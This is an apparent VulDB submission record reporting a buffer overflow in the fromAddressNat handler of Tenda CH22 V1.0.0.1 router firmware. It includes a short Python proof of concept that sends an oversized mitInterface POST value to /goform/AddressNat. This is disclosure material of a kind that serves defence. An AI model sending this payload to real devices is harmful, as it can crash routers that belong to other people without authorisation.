| Título | Tenda CH22 V1.0.0.1 Buffer Overflow |
|---|
| Descrição | ## Overview
- Firmware download website: https://www.tenda.com.cn/download/2230
## Affected version
CH22 V1.0.0.1
## Vulnerability details
The Tenda CH22 V1.0.0.1 firmware has a buffer overflow vulnerability in the `fromAddressNat` function. The `v7` variable receives the `mitInterface` parameter from a POST request and is later passed to the `sprintf` function. However, since the user can control the input of `mitInterface` , the statement `sprintf(s, "%s;%s", v8, v7);` can cause a buffer overflow.
## PoC
import requests
ip = "192.168.1.1"
url = f'http://{ip}/goform/AddressNat'
payload = b'a' * 1000
data = {
'mitInterface':payload
}
requests.post(url, data=data) |
|---|
| Fonte | ⚠️ https://candle-throne-f75.notion.site/Tenda-CH22-fromAddressNat-377df0aa118580ac9d93cd7b3bc00d7f?pvs=74 |
|---|
| Utilizador | ysnysn0121 (UID 86198) |
|---|
| Submissão | 16/06/2026 18h15 (há 4 meses) |
|---|
| Moderação | 22/07/2026 17h54 (1 month later) |
|---|
| Estado | Duplicado |
|---|
| Entrada VulDB | 329944 [Tenda CH22 1.0.0.1 /goform/addressNat fromAddressNat page Excesso de tampão] |
|---|
| Pontos | 0 |
|---|